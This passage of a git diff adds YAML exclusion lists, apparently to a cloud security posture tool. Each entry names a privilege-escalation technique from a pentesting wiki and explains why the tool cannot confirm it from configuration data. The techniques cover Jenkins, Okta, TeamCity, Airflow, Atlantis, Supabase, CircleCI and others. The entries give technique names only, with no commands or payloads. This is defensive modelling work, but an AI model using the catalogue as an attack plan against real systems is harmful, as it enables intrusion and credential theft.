src/pentesting-ci-cd/jenkins-security/README.md#nodes--agents + source_revision: 0b36331 + technique: Select built-in or more privileged node to read cloud/local identity + reason: Requires a build to schedule on a higher-privilege node whose host/cloud token is reachable to the + job. Jenkins agent placement and host identity are not in the snapshot. +- source: src/pentesting-ci-cd/jenkins-security/README.md#from-disk + source_revision: 0b36331 + technique: Read Jenkins master.key and encrypted credential files then decrypt + reason: Requires filesystem read of both Jenkins master.key and encrypted credential material plus usable + ciphertext; these live host files are not represented. +- source: src/pentesting-ci-cd/jenkins-security/README.md#create-new-admin-user + source_revision: 0b36331 + technique: Disable Jenkins security in config.xml and reset administrator + reason: Requires write to Jenkins controller config.xml and a service restart; cloud configuration alone + cannot prove host file access or restart capability. +- source: src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md#cookie + source_revision: 0b36331 + technique: Reuse stolen JSESSIONID to impersonate Jenkins user + reason: Requires possession of a still-valid JSESSIONID cookie from a different user; session theft and validity + are runtime facts. +- source: src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md#credentials-access + source_revision: 0b36331 + technique: Run job code to access in-scope Jenkins credentials + reason: Requires runnable job code and an in-scope Jenkins credential actually bound to that job; job/credential + scope and execution are uncollected. +- source: src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md#secrets-in-pluginjob-configs-on-disk + source_revision: 0b36331 + technique: Read plaintext/encrypted secrets from plugin/job XML + reason: Requires read of particular plugin or job XML files containing live secrets and, for encrypted values, + decryption material. Host file content is absent. +- source: src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md#detailed-exploitation-process + source_revision: 0b36331 + technique: CVE-2024-43044 file read forges admin remember-me cookie + reason: Requires a vulnerable Jenkins version, readable user and signing-key files, and an accepted forged + cookie. Vulnerability state and host file contents are uncollected. +- source: src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md#jenkins-dumping-secrets-from-groovy + source_revision: 0b36331 + technique: Administer uses Script Console to enumerate/decrypt global credentials + reason: Requires Jenkins Administer and stored global credentials to enumerate via Script Console; Jenkins + authorization and credential inventory are outside the provider snapshot. +- source: src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md#creating-a-new-pipeline + source_revision: 0b36331 + technique: Create pipeline with shell step and run on agent + reason: Requires Job/Create, permission to run the new job, and an agent carrying a more privileged host/cloud + identity. Jenkins job and agent bindings are not collected. +- source: src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md#modifying-a-pipeline + source_revision: 0b36331 + technique: Modify existing pipeline script for next run + reason: Requires Job/Configure on an existing pipeline, later execution, and an agent with a target identity + or secret. Jenkins configuration and scheduling are uncollected. +- source: src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md#creating-a-project + source_revision: 0b36331 + technique: Create Freestyle project with Execute shell + reason: Requires permission to create and run a Freestyle job on a credential-bearing agent. Jenkins permissions + and agent placement are uncollected. +- source: src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md#modifying-a-project + source_revision: 0b36331 + technique: Add shell build step to configured project + reason: Requires Job/Configure on a project, a later build, and a credential-bearing agent. Jenkins permissions, + configuration, and scheduling are uncollected. +- source: src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md#jenkins-rce-with-groovy-script + source_revision: 0b36331 + technique: Administer executes Groovy on controller/agent + reason: Jenkins Administer can invoke Groovy on controller or agents, but the reachable host/cloud identity + depends on server/agent placement and host credentials not in the snapshot. +- source: src/pentesting-ci-cd/okta-security/README.md#login-in-okta-via-kerberos + source_revision: 0b36331 + technique: Use AD ticket for Kerberos Okta sign-in + reason: Requires possession of a valid AD user Kerberos ticket and an enabled Okta Kerberos integration; + ticket possession and the mapped Okta user are runtime/integration facts. +- source: src/pentesting-ci-cd/okta-security/README.md#login-in-okta-via-kerberos + source_revision: 0b36331 + technique: Silver Ticket via compromised Okta delegation SPN + reason: Requires a compromised delegation key/SPN, a forgeable ticket, and an Okta Kerberos mapping. Key + compromise and accepted ticket are not configuration-only facts. +- source: src/pentesting-ci-cd/okta-security/README.md#hijacking-okta-ad-agent + source_revision: 0b36331 + technique: Steal/decrypt AD Agent token and intercept authentication + reason: Requires host access to the AD Agent, DPAPI decryption of its token, and live authentication traffic + to capture credentials. Host key material and traffic are absent. +- source: src/pentesting-ci-cd/okta-security/README.md#hijacking-ad-as-an-admin + source_revision: 0b36331 + technique: Register rogue Okta AD connector as admin + reason: Requires Okta administrator authority to register the rogue AD connector and victim authentication + routed through it; the latter is a runtime event outside the snapshot. +- source: src/pentesting-ci-cd/okta-security/README.md#okta-fake-saml-provider + source_revision: 0b36331 + technique: Privileged user adds attacker-controlled SAML IdP + reason: Requires Okta IdP administrator authority and a routing/account-link rule accepting the attacker-controlled + SAML subject. Okta policy and subject mapping are uncollected. +- source: src/pentesting-ci-cd/okta-security/README.md#colleague-impersonation-attack + source_revision: 0b36331 + technique: User-editable mapped primaryEmail impersonates colleague in app + reason: Requires a user-editable Okta field mapped as a target app identifier and app account-link behavior + that accepts the collision. Neither mapping nor target-app behavior is collected. +- source: src/pentesting-ci-cd/okta-security/README.md#evading-behavioural-detection-policies + source_revision: 0b36331 + technique: Replay captured Okta access token at app URL + reason: Requires a captured live access token and an app-specific sign-on path accepting replay. Token possession + and session validity are runtime facts. +- source: src/pentesting-ci-cd/okta-security/okta-hardening.md#profile-editor + source_revision: 0b36331 + technique: User-editable Okta attribute mapped into external app identifier + reason: Requires a user-editable profile field to map into another application identifier and the app to + link that value to a victim account. The mapping and collision behavior are uncollected. +- source: src/pentesting-ci-cd/okta-security/okta-hardening.md#identity-providers + source_revision: 0b36331 + technique: Compromised trusted inbound IdP pivots into Okta + reason: Requires a trusted inbound IdP, attacker control of a matching subject, and an Okta account-link/routing + rule accepting it. IdP and Okta mapping facts are absent. +- source: src/pentesting-ci-cd/okta-security/okta-hardening.md#delegated-authentication + source_revision: 0b36331 + technique: Compromised AD/LDAP identity authenticates through Okta delegation + reason: Requires a compromised AD/LDAP user credential and delegated authentication mapping to an Okta user; + credential possession is runtime evidence. +- source: src/pentesting-ci-cd/okta-security/okta-hardening.md#api + source_revision: 0b36331 + technique: Steal or use Okta API token with creator privileges + reason: The token must actually be stolen or issued, remain valid, and inherit its creator’s current privileges. + Token secret possession is not implied by API-token metadata. +- source: src/pentesting-ci-cd/pentesting-ci-cd-methodology.md#vcs-pentesting-methodology + source_revision: 0b36331 + technique: Repository secrets in source/commit history + reason: A repository or historical commit must contain a live credential that maps to a target principal. + Code content, secret validity, and identity join are not in the snapshot. +- source: src/pentesting-ci-cd/pentesting-ci-cd-methodology.md#vcs-pentesting-methodology + source_revision: 0b36331 + technique: Repository write poisons production/developer/CI code + reason: Requires a writable repository path consumed by a privileged deployment or workstation, followed + by execution. SCM ACL, consumer mapping, and execution are absent. +- source: src/pentesting-ci-cd/pentesting-ci-cd-methodology.md#ppe---poisoned-pipeline-execution + source_revision: 0b36331 + technique: D-PPE/I-PPE/3PE reaches privileged pipeline + reason: Requires writable pipeline input that reaches an executing privileged pipeline under D-PPE, I-PPE, + or 3PE; SCM/CI configuration and consumer identity are uncollected. +- source: src/pentesting-ci-cd/pentesting-ci-cd-methodology.md#dependency--registry-supply-chain-abuse + source_revision: 0b36331 + technique: Malicious package hook/bin or stolen workflow/npm token propagates + reason: Requires malicious package/artifact content consumed by a privileged job and a future install or + execution; registry content and consumer events are not collected. +- source: src/pentesting-ci-cd/supabase-security.md#database-configuration + source_revision: 0b36331 + technique: Brute force known Supabase Postgres username/endpoint + reason: Requires successfully guessing a live Postgres password for the endpoint; endpoint and username disclosure + alone grant no database identity. +- source: src/pentesting-ci-cd/supabase-security.md#rls-and-views-write-bypass-via-postgrest + source_revision: 0b36331 + technique: Updatable definer view exposes base-table write beyond RLS + reason: Requires an exposed updatable definer view, grants to anon/auth, owner RLS bypass, and an actual + write to protected rows. Supabase/Postgres view and RLS facts are absent. +- source: src/pentesting-ci-cd/supabase-security.md#jwt-secret + source_revision: 0b36331 + technique: Leaked JWT signing secret forges service_role or user JWT + reason: Requires possession of the live Supabase JWT signing secret and a service_role/user token accepted + by the project. Secret value and validity are runtime facts. +- source: src/pentesting-ci-cd/supabase-security.md#edge-functions + source_revision: 0b36331 + technique: Modify/create Edge Function to read function-scoped secrets + reason: Requires Edge Function edit/deploy authority, a function that receives the secret, and invocation. + Supabase function permissions, secret scope, and execution are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#guest-access-abuse + source_revision: 0b36331 + technique: Guest downloads logs/artifacts containing credentials + reason: Requires a guest-visible build log or artifact containing a live credential; guest access alone does + not imply secret exposure. Artifact content and credential validity are absent. +- source: src/pentesting-ci-cd/teamcity-security/README.md#unauthenticated-takeover-cve-2024-27198--cve-2024-27199 + source_revision: 0b36331 + technique: Auth bypass creates SYSTEM_ADMIN or admin token + reason: Requires a TeamCity version vulnerable to CVE-2024-27198/27199 and a successful bypass request; deployment + patch level and exploitability are not in the provider snapshot. +- source: src/pentesting-ci-cd/teamcity-security/README.md#unauthenticated-takeover-cve-2023-42793 + source_revision: 0b36331 + technique: Auth bypass via RPC2 admin token + reason: Requires a pre-2023.05.4 vulnerable TeamCity instance and successful RPC2 token creation; version + and endpoint behavior are not collected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#unauthenticated-agent-deserialization-rce-xstream--cve-2026-63077 + source_revision: 0b36331 + technique: Agent-session XStream deserialization reaches server RCE + reason: Requires the vulnerable agent-session XStream code path and attacker-controlled serialized traffic; + software version and runtime deserialization are absent. +- source: src/pentesting-ci-cd/teamcity-security/README.md#admin-rce-by-uploading-a-plugin + source_revision: 0b36331 + technique: System Administrator uploads server plugin for RCE + reason: Requires TeamCity SYSTEM_ADMIN and plugin upload/load on the server; TeamCity roles and server host + identity are not in the snapshot. +- source: src/pentesting-ci-cd/teamcity-security/README.md#rce-by-creating-or-modifying-build-steps + source_revision: 0b36331 + technique: Edit build steps and queue build + reason: Requires TeamCity build-configuration edit/create and build-run rights on an agent carrying a target + identity. TeamCity ACL and agent mapping are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#target-a-more-interesting-agent + source_revision: 0b36331 + technique: Select or force privileged agent + reason: Requires rights to choose or force a specific more-privileged agent and a build that runs there; + agent requirements and scheduling are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#dump-build-parameters--password-parameters + source_revision: 0b36331 + technique: Read raw or execute code with password parameters + reason: Requires a password parameter exposed to the caller or injected into a runnable build; TeamCity parameter + scope, masking and execution are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#poison-versioned-settings--kotlin-dsl + source_revision: 0b36331 + technique: Write trusted .teamcity Kotlin DSL to add privileged step + reason: Requires write to the trusted .teamcity Kotlin DSL path and a synchronization/build that applies + it; VCS settings and approval flow are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#pull-request--untrusted-build-abuse + source_revision: 0b36331 + technique: Everybody PR build executes external code with secrets + reason: Requires an Everybody-triggerable PR build that checks out untrusted code and delivers secrets or + credentials; TeamCity trigger, branch and secret rules are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#run-custom-build-parameter-injection + source_revision: 0b36331 + technique: Run Build parameter or branch injected into unsafe command + reason: Requires Run Build with controllable parameter/branch and an unsafe command interpolation in the + build step; TeamCity step text is uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#service-message-abuse + source_revision: 0b36331 + technique: Untrusted build output changes parameters/artifacts for downstream job + reason: Requires an untrusted build output service message to influence a later privileged step/job and deliver + an identity or secret; downstream dependency behavior is uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#artifact--dependency-poisoning + source_revision: 0b36331 + technique: Poison artifact consumed by privileged build + reason: Requires write access to an artifact selected by a later privileged build and execution of its content; + artifact mapping and future build are not collected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#pivot-into-internal-services + source_revision: 0b36331 + technique: Forge internal JWT using secret found on agent + reason: Requires an actual shared JWT/HMAC secret on the agent and a service that trusts it for an admin + subject. Secret value and target service acceptance are runtime facts. +- source: src/pentesting-ci-cd/teamcity-security/README.md#vcs-root--repository-credential-abuse + source_revision: 0b36331 + technique: Use TeamCity VCS root PAT/SSH key to control repository + reason: Requires access to a VCS root credential value (not just metadata) and a token/key scoped to the + target repo. TeamCity credential storage and VCS grants are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#debug--diagnostics-endpoints + source_revision: 0b36331 + technique: Admin debug database/process endpoint + reason: Requires TeamCity administrator/debug endpoint right, enabled diagnostics property, and an endpoint + that reaches DB or process identity. These settings are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#agent-server-trust--rogue-agent-angles + source_revision: 0b36331 + technique: Rogue/compromised agent receives build credentials + reason: Requires rogue-agent authorization and a later build scheduled with credentials on that agent; authorization, + scheduling, and credential delivery are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#logs-artifacts--data-directory-as-secrets + source_revision: 0b36331 + technique: Read super-user token from teamcity-server.log + reason: Requires OS/log-platform read of teamcity-server.log containing a still-valid super-user token; TeamCity + guest/project access does not grant server-log read. + +# Travis source exclusions; reviewed in pa-k8s-other-s08.yaml. +- source: src/pentesting-ci-cd/travisci-security/README.md#triggers + technique: Repository writer runs attacker-controlled CI code in the build identity + reason: A push or accepted PR starts a job, but privilege gain depends on runtime execution of attacker code + and which secret-bearing variables the branch or fork receives; the page names no independent build identity. +- source: src/pentesting-ci-cd/travisci-security/README.md#third-party-pr + technique: Fork PR receives protected CI environment variables + reason: A fork PR can receive secrets only when the project shares encrypted variables with forks and the + PR job executes attacker code; credential value and represented principal require runtime secret content. +- source: src/pentesting-ci-cd/travisci-security/README.md#dumping-secrets + technique: Read configured environment and secure values through a job + reason: Reading job environment values requires attacker code to run in an eligible build; whether any value + is a usable credential and which identity it represents require secret content. +- source: src/pentesting-ci-cd/travisci-security/README.md#dumping-secrets + technique: Read encrypted-file plaintext or key and IV from a job + reason: Decrypting an .enc file requires an eligible job, injected key and IV, and the file payload; whether + its plaintext contains a credential requires file content. +- source: src/pentesting-ci-cd/travisci-security/basic-travisci-information.md#environment-variables + technique: Project environment secrets become readable inside a permitted build + reason: The basic page describes secret injection into an eligible job, but identifying an escalation requires + the actual variable value, its credential type, and the job branch/fork exposure. +- source: src/pentesting-ci-cd/travisci-security/basic-travisci-information.md#custom-encrypted-secrets + technique: RSA-encrypted secure values in .travis.yml are decrypted in a permitted build + reason: The RSA public key alone does not decrypt secure values; an eligible running job and the decrypted + value are needed to identify a gained credential. +- source: src/pentesting-ci-cd/travisci-security/basic-travisci-information.md#custom-encrypted-files + technique: Encrypted file can be decrypted with build-injected key and IV + reason: The .enc file and injected key/IV are necessary, but only the decrypted file contents can establish + a credential and target identity. + +# Vercel source exclusions; reviewed in pa-k8s-other-s08.yaml. +- source: src/pentesting-ci-cd/vercel-security.md#domains + technique: Map a production domain to a different environment that exposes secrets or functions + reason: Changing a domain environment alone does not grant credentials; the served application content, protected + function authorization, and actual secret disclosure must be inspected. +- source: src/pentesting-ci-cd/vercel-security.md#environments + technique: Share production secrets with lower-trust development or preview environment + reason: Variable sharing is a configuration fact, but the lower-trust environment must execute code or expose + the value and the value must contain a usable credential; those runtime and content facts are needed. +- source: src/pentesting-ci-cd/vercel-security.md#environment-variables + technique: NEXT_PUBLIC_ team variable exposes credential to every linked project client + reason: NEXT_PUBLIC_ can put a value in client code, but the deployed bundle must actually contain that value + and it must be a usable credential; require bundle and secret-content inspection. +- source: src/pentesting-ci-cd/vercel-security.md#environment-variables + technique: Non-sensitive team variable is readable to members with sufficient environment access + reason: A non-sensitive variable may be readable under team access, but a principal edge requires the variable + value to be a usable credential and its represented identity to be identified. +- source: src/pentesting-ci-cd/vercel-security.md#deployment-protection + technique: Bypass deployment protection through public bypass secret, share link, weak password, exception, + or broad allowlist + reason: A bypassed deployment gives application access; privilege gain requires a protected endpoint or response + that yields credentials or a stronger application identity, which needs application runtime/content inspection. +- source: src/pentesting-ci-cd/vercel-security.md#security + technique: Public build logs or source paths can reveal secrets if logs/source contain them + reason: Public build logs or source paths only yield a principal edge if the exposed artifact contains a + usable credential; the particular log/source content and represented identity are needed. +- source: src/pentesting-ci-cd/vercel-security.md#advanced + technique: Directory listing exposes files that could contain credentials + reason: Directory listing exposes files only if enabled and the directory is reachable; a principal edge + further requires a listed file containing a usable credential and identification of its target identity. +- source: src/pentesting-ci-cd/vercel-security.md#source + technique: Read complete deployment source to find embedded credentials + reason: Source readability alone is not privilege escalation; the deployment source must contain a usable + credential and its target principal must be identified. +- source: src/pentesting-ci-cd/vercel-security.md#log-drains + technique: Configure external Log Drain to receive logs containing secrets + reason: A Log Drain receives logs, but a credential edge requires a log record containing a usable credential + and its represented principal; inspect runtime log content. +- source: src/pentesting-ci-cd/vercel-security.md#security--privacy + technique: Sensitive environment variable policy disabled permits readable team variables + reason: Disabling sensitive-variable enforcement does not itself expose credentials; a specific non-sensitive + variable, readable to the source, must contain a usable credential. +- source: src/pentesting-ci-cd/vercel-security.md#environment-variables-1 + technique: Team NEXT_PUBLIC_ variables leak application credentials to public clients + reason: The team-level NEXT_PUBLIC_ case is the same exposure mechanism as the project section, but a deployed + bundle and credential-bearing value are needed for a principal edge. +- source: src/pentesting-ci-cd/vercel-security.md#environment-variables-1 + technique: Non-sensitive team variable values can be read by members + reason: Reading a non-sensitive team variable is only an escalation if its value is a usable credential of + a stronger principal; the value and target identity are needed. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_crossprovider_s05.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_crossprovider_s05.yaml new file mode 100644 index 0000000000..a81dbe1a72 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_crossprovider_s05.yaml @@ -0,0 +1,173 @@ +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-databases.md#enumeration + technique: Read managed-database user passwords and connection credentials + reason: The database user-list and connection commands can return passwords, but a DigitalOcean principal, effective + API rights, selected cluster/user, live password and database trusted-source reachability are absent from the + snapshot. Credential contents and database roles must be verified before a database-user edge. + +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-droplets.md#rce + technique: Reset a Droplet root password and enter its recovery console + reason: Password reset sends the temporary root password to the account email, and Recovery Console requires that + password. DigitalOcean action authority does not prove mailbox possession, successful reset or a working local + root login; these runtime and mailbox facts must be joined. + +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-droplets.md#rce + technique: Open a Droplet web console as its guest account + reason: Web Console access is a distinct Droplet guest shell, but the snapshot has no DigitalOcean control-panel + authorization, agent/SSH state, public address, network rules or resulting guest account. A console button alone + does not establish the shell identity. + +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-droplets.md#basic-information + technique: Restore or clone a Droplet disk image and read saved secrets + reason: A backup or snapshot is a disk image, not a known credential. The selected image, ability to create a + controlled clone or restore, readable filesystem, saved secret bytes and credential validity are uncollected. + +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-droplets.md#enumeration + technique: Read sensitive Droplet user data through metadata from a workload SSRF + reason: Droplet metadata may expose user data but has no instance-role credential endpoint. This path requires + a reachable SSRF or local workload access, actual secret bytes in user data and a validated target principal; + metadata availability alone proves no identity edge. + +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-functions.md#triggers + technique: Extract a namespace API access key from doctl connection traffic + reason: doctl trace may expose a Functions namespace key, but the snapshot lacks DigitalOcean namespace authorization, + trace output, key validity and a comparison between the key rights and the source rights. A key with only equivalent + rights is not escalation. + +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-volumes.md#basic-information + technique: Attach or move a volume to a controlled Droplet and read stored credentials + reason: Volume attach can expose disk bytes, but the snapshot lacks DigitalOcean attach/detach rights, compatible + controlled Droplet, encryption state, credential contents and validity. Attachment alone is not a credential + gain. + +- source: src/pentesting-cloud/confidential-computing/luks2-header-malleability-null-cipher-abuse.md#exploitation-storage-write-access-required + technique: Change a CVM LUKS2 segment to a null cipher and expose later plaintext data + reason: Changing the LUKS2 segment requires block-device/header write and a guest that trusts the modified header; + identity gain additionally requires later plaintext credential writes, storage read and a valid credential. + None of these block/guest/content facts is in a cloud IAM or Kubernetes RBAC snapshot. + +- source: src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md#logical-components + technique: Launch an AWX job template with attached credentials against inventory hosts + reason: Execute on an AWX job template uses its linked credential for a fixed playbook, but the snapshot has no + AWX RBAC, template/playbook/inventory/credential join or proof the template exposes attacker-controlled actions. + A launch alone does not prove arbitrary host identity gain. + +- source: src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md#supported-roles + technique: Use Inventory Ad Hoc privilege to execute commands with assigned credentials + reason: AWX Inventory Ad Hoc can run commands with a selected machine credential, but AWX inventory RBAC, enabled + ad hoc execution, credential assignment, target host and credential validity are not collected. + +- source: src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md#supported-roles + technique: Use Credential Use plus template control to run an attacker playbook with a protected credential + reason: AWX Credential Use is not secret read. Escalation requires effective template creation/admin and execute + rights, a controllable project playbook, inventory association and a stronger usable credential; these AWX relationships + are absent. + +- source: src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md#supported-roles + technique: Modify an AWX project SCM source then execute its playbook through an authorized template + reason: Project SCM modification reaches host credentials only if an executable job template uses the modified + project and can be launched. AWX project/template/inventory/credential joins and SCM write rights are uncollected. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#web-console-enumeration + technique: Read Airflow Connections or Variables containing credentials + reason: Airflow Connections and Variables may contain credentials, but UI read access, actual secret values, target + principal and credential validity are absent. A visible variable or connection name is insufficient. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#retrieve-variables-values + technique: Export or retrieve a masked Airflow Variable secret + reason: Masked Variable export is version and permission dependent; current releases restrict sensitive export. + The selected value must contain a reusable credential and its target principal must be resolved, none of which + is collected. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#privilege-escalation + technique: Forge an Airflow Admin session with exposed Flask secret_key + reason: Forging an Airflow Admin session requires the effective Flask secret_key, a compatible signed-cookie session + backend, a valid target user ID and network access to the webserver. Airflow runtime configuration and secret + bytes are uncollected. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#dag-backdoor-rce-in-airflow-worker + technique: Write a DAG that executes on an Airflow worker + reason: DAG-folder write can run code as an Airflow worker, but self-hosted Airflow DAG storage, worker identity, + schedule/trigger and file synchronization are uncollected. AWS MWAA and GCP Composer bucket-write entries cover + only their specific cloud permissions and environments. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#dag-backdoor-rce-in-airflow-scheduler + technique: Place top-level code in a DAG parsed by scheduler + reason: Top-level DAG code may run as the scheduler on parse, but the scheduler must ingest the writable DAG file. + DAG path, parser behavior, scheduler identity and shared-storage topology are absent. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#dag-creation + technique: Create DAGs on one cluster machine that replicate to other Airflow machines + reason: Writing the DAG folder on one machine may replicate code to other Airflow machines, but replication configuration, + receiving hosts and their identities are runtime topology facts not in the snapshot. This is a variant of DAG-folder + write, not a guaranteed new machine identity. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#dag-code-injection + technique: Pass malicious DAG run parameters to a vulnerable DAG command + reason: A DAG run parameter becomes code execution only if a particular DAG places it unsafely into a command. + The DAG source, parameter use, run permission and worker identity require application-level collection. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#dag-code-injection + technique: Edit an Airflow Variable consumed unsafely by a DAG command + reason: Variable edit becomes code execution only if a particular DAG reads that variable into an unsafe command. + The variable-to-DAG dataflow, edit permission, execution timing and worker identity are uncollected. + +- source: src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md#configuration-file + technique: Read Airflow configuration secrets through console or host access + reason: airflow.cfg can contain stale values overridden by environment variables. The effective running secret, + file or UI read access, target identity and credential validity must be collected; config-file existence proves + no gain. + +- source: src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md#web-authentication + technique: Gain anonymous Airflow Admin via AUTH_ROLE_PUBLIC configuration + reason: AUTH_ROLE_PUBLIC=Admin could grant anonymous Airflow Admin access, but effective webserver_config.py, + deployment reachability and FAB authentication state are not in the snapshot. A file value alone may be overridden. + +- source: src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md#rbac + technique: Read configuration as an Airflow Op on affected releases and recover signing secret + reason: On affected Airflow versions Op can read effective configuration, which may expose secret_key and permit + cookie forgery. Version, effective config, signing key, session backend and a target user are uncollected. + +- source: src/pentesting-ci-cd/atlantis-security.md#provider-credentials + technique: Read Atlantis host provider credentials after obtaining host or container access + reason: Atlantis can carry cloud or VCS credentials on its host, but a host/container read path, credential delivery + method, actual bytes, validity and target principal are uncollected. Merely hosting Atlantis does not prove + credential access. + +- source: src/pentesting-ci-cd/atlantis-security.md#repos-configuration + technique: Poison a repository-local script executed by an Atlantis server-side hook + reason: Server-side hooks run repository-local scripts only when a configured hook names such a path from the + PR checkout. Atlantis hook command, SCM write rights, trigger path and runner identity are uncollected. + +- source: src/pentesting-ci-cd/atlantis-security.md#repos-configuration + technique: Define malicious custom workflow commands in atlantis.yml + reason: atlantis.yml custom commands execute only when server-side allow_custom_workflows and any workflow override + policy permit them. Repository write, PR workflow trigger and runner credentials require Atlantis and SCM facts + absent from the snapshot. + +- source: src/pentesting-ci-cd/atlantis-security.md#atlantis-plan-rce---config-modification-in-new-pr + technique: Execute Terraform external data source or malicious provider during Atlantis plan + reason: Plan-time code execution requires write to the Terraform configuration of an allowed repo and a plan of + the attacker PR. Atlantis repo allowlist, plan trigger, Terraform content and runner identity are uncollected. + +- source: src/pentesting-ci-cd/atlantis-security.md#atlantis-plan-secrets-dump + technique: Expose Terraform secret variables through nonsensitive plan output or state + reason: nonsensitive output exposes a credential only if a Terraform variable contains one and the attacker can + see the resulting plan or state. Variable contents, output visibility, state access and credential validity + are uncollected. + +- source: src/pentesting-ci-cd/atlantis-security.md#atlantis-apply-rce---config-modification-in-new-pr + technique: Execute local-exec on Atlantis during apply + reason: local-exec runs only on a successful apply of malicious Terraform, after any mergeability and approval + gates. SCM branch rights, Atlantis apply authorization, gate state, runner identity and credential access are + uncollected. + +- source: src/pentesting-ci-cd/atlantis-security.md#pr-hijacking + technique: Trigger another user PR or push malicious config after approval to obtain Atlantis execution + reason: A comment can rerun an existing plan, but attacker code execution additionally needs branch write, stale-approval + behavior or another passing gate, and an apply or plan path that executes it. These VCS and Atlantis facts are + uncollected. + +- source: src/pentesting-ci-cd/atlantis-security.md#post-exploitation + technique: Read VCS tokens, Terraform state or process credentials from Atlantis files + reason: Atlantis data-dir, .git-credentials, state and process environment can contain reusable credentials, but + path configuration, host/LFI read access, actual bytes, validity and target principal are absent from the snapshot. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_crossprovider_s06.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_crossprovider_s06.yaml new file mode 100644 index 0000000000..7ce924bb59 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_crossprovider_s06.yaml @@ -0,0 +1,187 @@ +# Cross-provider CI/CD techniques outside the four-provider evaluator. +- source: src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md#auth-data-collector-token-x-data-collector-token + technique: Known default data collector token grants protected Compliance API access + reason: Requires live acceptance of the retained default token; no IAM snapshot proves that fact. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md#compliance-api-sql-injection-cve-2025-8868 + technique: CVE-2025-8868 filters[].type SQL injection obtains database data or write capability + reason: Requires a vulnerable running version, reachable authenticated endpoint, exploitable input, and database + grants. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/circleci-security.md#circleci-mcp-server-hostorigin-bypass-to-pipeline-rce + technique: Unauthenticated CircleCI MCP run_pipeline under delegated organization token + reason: Requires a reachable vulnerable MCP deployment, shared-token settings, and a live request path. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/circleci-security.md#search-clear-text-secrets + technique: Read plaintext secrets in repository CircleCI configuration + reason: Requires repository contents to contain a valid usable secret; repository read alone proves none. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/circleci-security.md#escape-to-cloud + technique: Self-hosted CircleCI runner exposes host cloud metadata identity + reason: Requires an actual self-hosted runner placement and reachable metadata service with stronger attached + identity. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/circleci-security.md#persistence + technique: Change a secret to inject a command in a trusting CircleCI job + reason: Requires a particular secret to be interpolated unsafely by a later job; secret edit alone proves no execution. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/cloudflare-security/README.md#pages + technique: Read Cloudflare Pages build logs, repo, or environment variables for credentials + reason: Requires an actual credential value in logs, repository contents, or readable variables. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/cloudflare-security/README.md#workers + technique: Exploit Worker input SSRF into bound R2/internal service + reason: Requires vulnerable Worker code and reachable internal service; a binding alone does not prove SSRF. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/cloudflare-security/README.md#notifications + technique: Read notification webhook URL containing embedded basic auth + reason: Requires a stored basic-auth credential in a notification URL and visibility of its value. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md#automating-deployment-and-rotation-with-flareprox + technique: Cloudflare Worker proxy can bypass IP-based access restriction + reason: Requires the target to use an IP allowlist admitting Cloudflare egress and a Worker proxy able to reach + it. + source_revision: 0b36331 